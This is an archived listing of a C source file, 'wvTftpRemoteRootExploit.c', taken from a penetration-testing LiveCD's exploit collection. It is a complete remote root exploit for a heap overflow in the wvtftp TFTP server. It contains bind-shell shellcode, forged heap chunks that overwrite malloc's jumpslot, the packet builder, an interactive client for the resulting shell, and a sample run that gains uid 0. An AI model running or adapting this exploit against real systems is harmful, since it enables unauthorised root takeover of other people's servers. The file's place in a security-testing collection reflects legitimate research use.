home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / tftp / wvtftpt / wvTftpRemoteRootExploit.c < prev   
C/C++ Source or Header  |  2005-02-12  |  10KB  |  349 lines

  1. /*
  2.  * wvtftp option name heap overflow remote root exploit
  3.  *
  4.  * infamous42md AT hotpop DOT com
  5.  *
  6.  * exploitation is not exactly straight forward.  When we overflow our buffer,
  7.  * we overwrite a pointer that is freed before we get to trigger our overwrite.
  8.  * so we have to restore the state of this pointer to some sane value so it can
  9.  * be freed.  after we do this, we trigger the overwrite, and hijack the
  10.  * jumpslot for malloc().  then to trigger malloc(), we send a bogus request,
  11.  * and then connect to our shell.  all of the offsets should be fixed for 32 bit
  12.  * platforms, all you need to pass is the base address of the heap buffer we're
  13.  * overflowing.  'ltrace wvtftpd -dd 2>&1 | grep malloc | grep 616', and of
  14.  * course the jumpslot for malloc(), 'objdump -R wvtftpd | grep malloc'.
  15.  *
  16.  */
  17.  
  18. #if 0
  19. Usage: ./a.out
  20.         [ -h host ] [ -r object_heap_base ] [ -l retloc ]
  21.         [ -f remote file ] < -p port > < -a align >
  22. [n00b@localho.outernet] ./a.out -h localho -r 0x8063cd0 -l 0x0805e540
  23.  
  24. connected to localho(127.0.0.1)
  25.  
  26. exploit sent, total data len 597
  27.  
  28. triggering overwritten jumpslot
  29.  
  30.  
  31. connected to localho(127.0.0.1)
  32.  
  33. got a shell
  34.  
  35. id
  36. uid=0(root) gid=0(root)
  37. groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
  38.  
  39.  - Connection closed by user
  40. #endif
  41.  
  42. #include <stdio.h>
  43. #include <sys/types.h>
  44. #include <string.h>
  45. #include <stdlib.h>
  46. #include <unistd.h>
  47. #include <sys/socket.h>
  48. #include <netdb.h>
  49. #include <netinet/in.h>
  50. #include <arpa/inet.h>
  51. #include <stdlib.h>
  52.  
  53. #define REMOTE_FILE "foo"
  54. #define FTP_PORT 69
  55. #define NOP 0x90
  56. #define BS 0x1000
  57. #define SHELL_PORT 7000
  58. #define ALIGN 0
  59. #define die(x) do{ perror(x); exit(1); }while(0)
  60.  
  61. /*  a dlmalloc chunk descriptor */
  62. #define CHUNKSZ sizeof(mchunk_t)
  63. typedef struct _mchunk {
  64.     size_t  prevsz;
  65.     size_t  sz;
  66.     long    fd;
  67.     long    bk;
  68. } mchunk_t;
  69.  
  70. /* program arguments */
  71. typedef struct _args {
  72.     char    *host,
  73.             *remote_file;
  74.     u_long    object_heap_base,
  75.             retloc;
  76.     u_short port,
  77.             align;
  78. } args;
  79.  
  80.  
  81. /* call them shell code */
  82. #define SHELL_LEN (sizeof(remote)-1)
  83. char remote[] =
  84. "\xeb\x0a""1234567890"  /* jump */
  85. "\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
  86. "\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
  87. "\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
  88. "\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
  89. "\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
  90. "\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
  91. "\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
  92. "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\xa1\x5f\x66\x6e\x69";
  93.  
  94.  
  95. void usage(char *progname)
  96. {
  97.     fprintf(stderr, "Usage: %s\n"
  98.                 "\t[ -h host ] [ -r object_heap_base ] [ -l retloc ]\n"
  99.                 "\t[ -f remote file ] < -p port > < -a align >\n",
  100.                     progname);
  101.     exit(EXIT_FAILURE);
  102. }
  103.  
  104.  
  105. void parse_args(int argc, char **argv, args *argp)
  106. {
  107.     int c = 0;
  108.  
  109.     while((c = getopt(argc, argv, "h:p:r:a:l:")) != -1) {
  110.             switch (c) {
  111.                 case 'a':
  112.                 argp->align = atoi(optarg);
  113.                     break;
  114.                 case 'p':
  115.                 argp->port = atoi(optarg);
  116.                     break;
  117.                 case 'r':
  118.                 argp->object_heap_base = strtoul(optarg, NULL, 16);
  119.                     break;
  120.                 case 'l':
  121.                 argp->retloc = strtoul(optarg, NULL, 16);
  122.                     break;
  123.                 case 'h':
  124.                 argp->host = optarg;
  125.                     break;
  126.                 case 'f':
  127.                 argp->remote_file = optarg;
  128.                     break;
  129.                 case ':':
  130.                 case '?':
  131.                 default:
  132.                 usage(argv[0]);
  133.             }
  134.     }
  135.  
  136.     if(optind != argc || argp->align > CHUNKSZ-1 || argp->object_heap_base == 0
  137. ||
  138.         argp->host == NULL || argp->port == 0 || argp->retloc == 0 ||
  139.         argp->remote_file == NULL)
  140.         usage(argv[0]);
  141. }
  142.  
  143. int conn(char *host, u_short port, int proto)
  144. {
  145.     int sock = 0;
  146.     struct hostent *hp;
  147.     struct sockaddr_in sa;
  148.  
  149.     memset(&sa, 0, sizeof(sa));
  150.  
  151.     hp = gethostbyname(host);
  152.     if (hp == NULL) {
  153.             herror("gethostbyname");
  154.         exit(EXIT_FAILURE);
  155.     }
  156.     sa.sin_family = AF_INET;
  157.     sa.sin_port = htons(port);
  158.     sa.sin_addr = **((struct in_addr **) hp->h_addr_list);
  159.  
  160.     sock = socket(AF_INET, proto, 0);
  161.     if (sock < 0)
  162.             die("socket");
  163.  
  164.     /* with UDP this means we can write() instead of sendto() */
  165.     if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0)
  166.             die("connect");
  167.  
  168.     printf("\nconnected to %s(%s)\n\n", host, inet_ntoa(sa.sin_addr));
  169.     return sock;
  170. }
  171.  
  172. /*
  173.  * ftp packet bytes look like:
  174.  *
  175.  * 0-1 code - [0]*256 + [1] : 1 for read, 2 for write
  176.  * 2 NULL termed file name, must exist and be readable
  177.  * X NULL termed mode [ netascii octet mail ]
  178.  * Y NULL termed option name
  179.  * Z NULL termed option value   : overflow with this string
  180.  * and a bad option to get our pointer freed
  181.  */
  182. void sploit(args *argp, int sock)
  183. {
  184.     int len = 0, align = argp->align, x = 0, begin_packet_data;
  185.     long    retloc = argp->retloc, object_heap_base = argp->object_heap_base;
  186.     char buf[BS], *remote_file = argp->remote_file;
  187.     mchunk_t    chunk;
  188.  
  189.     memset(buf, 0, BS);
  190.     memset(&chunk, 0, CHUNKSZ);
  191.  
  192.     /* set opcode for reading */
  193.     buf[1] = 1;
  194.     len = 2;
  195.  
  196.     /* the file to read,  and the mode */
  197.     len += sprintf(buf + len, "%s",  remote_file) + 1;
  198.     len += sprintf(buf + len, "%s", "octet") + 1;
  199.  
  200.     /* all that follows gets copied via strcpy() */
  201.     begin_packet_data = len;
  202.  
  203.     /* the option */
  204.     len += sprintf(buf+len, "%s", "blksize") + 1; /* 8 */
  205.  
  206.     /* the overflow , but first a valid blocksize to past test */
  207.     len += sprintf(buf+len, "%s", "512");   /* 3 */
  208.  
  209.     /*
  210.      *  from here buffer looks like:
  211.      *  [ align - shell - chunks - pkttimes - chunks ]
  212.      */
  213. #define OFFSET_TO_OUR_BUF_FROM_BASE 56
  214.     /* setup the chunk */
  215.     chunk.prevsz = 0xfffffffc;
  216.     chunk.sz = 0xfffffffc;
  217.     chunk.fd = retloc - 12;
  218.     chunk.bk = object_heap_base + OFFSET_TO_OUR_BUF_FROM_BASE + align + 11/* 8 + 3 */;
  219.  
  220.     memset(buf+len, 'A', align);
  221.     len += align;
  222.     memcpy(buf+len, remote, SHELL_LEN);
  223.     len += SHELL_LEN;
  224.  
  225. #define CHUNK_BYTES 416
  226.     for(x = 0; x < CHUNK_BYTES - (CHUNKSZ - 1); x+= CHUNKSZ)
  227.         memcpy(buf+len+x, &chunk, CHUNKSZ);
  228.     len += x;
  229.     buf[len++] = 0;
  230.  
  231.     /* trigger the free with a bad option (no value) */
  232.     len += sprintf(buf+len, "%s", "blksize") + 1;
  233.  
  234.     /*
  235.      * the buffer we overflow is part of a larger structure that is embedded in
  236.      * a class object located on the heap.  the base address of this object is
  237.      * what 'object_heap_base' refers to.  the structure is 'struct TFTPConn',
  238.      * member of the 'class WvTFTPBase'.  we need to repair a pointer in the
  239.      * data that we overwrite.  the pkttimes member of the structure is a
  240.      * pointer to an object of type 'class PktTime' that gets deleted.  in this
  241.      * destructor for the object that gets deleted, a member pointer offset 12
  242.      * bytes in, is a pointer that gets freed via delete.  This freed pointer
  243.      * needs to  be set up by us.  You could create a fake chunk and use that,
  244.      * but it is simpler to just make that pointer be NULL as free(0) does
  245.      * nothing.  there are several spots where we have a guaranteed NULL word
  246.      * inside of the 'struct TFTPConn' class object. so the idea is to point
  247.      * pkttimes 12 bytes below that NULL, so that when it goes to free the
  248.      * pointer, it will use the NULL word.
  249.      */
  250.  
  251.     /*
  252.      * our buffer is 512 bytes, and we start copying at 2 bytes in.  the
  253.      * distance to pkttimes pointer is 526 bytes, rounded up to 4 byte boundary
  254.      */
  255. #define OFFSET_TO_PKTTIMES_IN_BUFFER 528
  256.     /*
  257.      * we point pkttimes at an area that contains guaranteed NULL word, which is
  258.      * the 'lastsent' member of the TFTPConn structure. it is the number of
  259.      * blocks which have been sent over teh connection so far.  it will always
  260.      * be 0 since no blocks have been sent to us yet.  if we know the base of
  261.      * the object we know where 'lastsent' is located.
  262.      */
  263. #define OFFSET_TO_NULL_POINTERS_FROM_BASE_MINUS_12 40
  264.     *(uint32_t *)(buf + begin_packet_data + OFFSET_TO_PKTTIMES_IN_BUFFER) =
  265.                 object_heap_base + OFFSET_TO_NULL_POINTERS_FROM_BASE_MINUS_12;
  266.  
  267.     write(sock, buf, len);
  268.     printf("exploit sent, total data len %d\n\n", len);
  269. }
  270.  
  271. void shell(char *host, u_short port)
  272. {
  273.     int sock = 0, l = 0;
  274.     char buf[BS];
  275.     fd_set rfds;
  276.  
  277.     sock = conn(host, port, SOCK_STREAM);
  278.  
  279.     printf("got a shell\n\n");
  280.     FD_ZERO(&rfds);
  281.  
  282.     while(1){
  283.             FD_SET(STDIN_FILENO, &rfds);
  284.             FD_SET(sock, &rfds);
  285.  
  286.         if(select(sock + 1, &rfds, NULL, NULL, NULL) < 1)
  287.             die("select");
  288.  
  289.             if(FD_ISSET(STDIN_FILENO, &rfds)) {
  290.                 if((l = read(0, buf, BS)) <= 0)
  291.                         die("\n - Connection closed by user\n");
  292.                 if(write(sock, buf, l) < 1)
  293.                         die("write");
  294.             }
  295.  
  296.             if(FD_ISSET(sock, &rfds)) {
  297.                 l = read(sock, buf, sizeof(buf));
  298.  
  299.                 if (l == 0)
  300.                         die("\n - Connection terminated.\n");
  301.                 else if(l < 0)
  302.                         die("\n - Read failure\n");
  303.  
  304.                 if(write(1, buf, l) < 1)
  305.                         die("write");
  306.             }
  307.     }
  308. }
  309.  
  310. /*
  311.  * call the function whose jumpslot we overwrote, malloc()
  312.  */
  313. void trigger_retloc(int sock)
  314. {
  315.     char    buf[BS];
  316.  
  317.     write(sock, buf, 200);
  318. }
  319.  
  320. /*
  321.  */
  322. int main(int argc, char **argv)
  323. {
  324.     int sock = 0;
  325.     args    argy;
  326.  
  327.     memset(&argy, 0, sizeof(argy));
  328.     argy.align = ALIGN;
  329.     argy.port = FTP_PORT;
  330.     argy.remote_file = REMOTE_FILE;
  331.  
  332.     parse_args(argc, argv, &argy);
  333.  
  334.     sock = conn(argy.host, argy.port, SOCK_DGRAM);
  335.  
  336.     sploit(&argy, sock);
  337.  
  338.     sleep(2);
  339.     printf("triggering overwritten jumpslot\n\n");
  340.     trigger_retloc(sock);
  341.     sleep(1);
  342.     close(sock);
  343.  
  344.     shell(argy.host, SHELL_PORT);
  345.  
  346.     return EXIT_SUCCESS;
  347. }
  348.  
  349.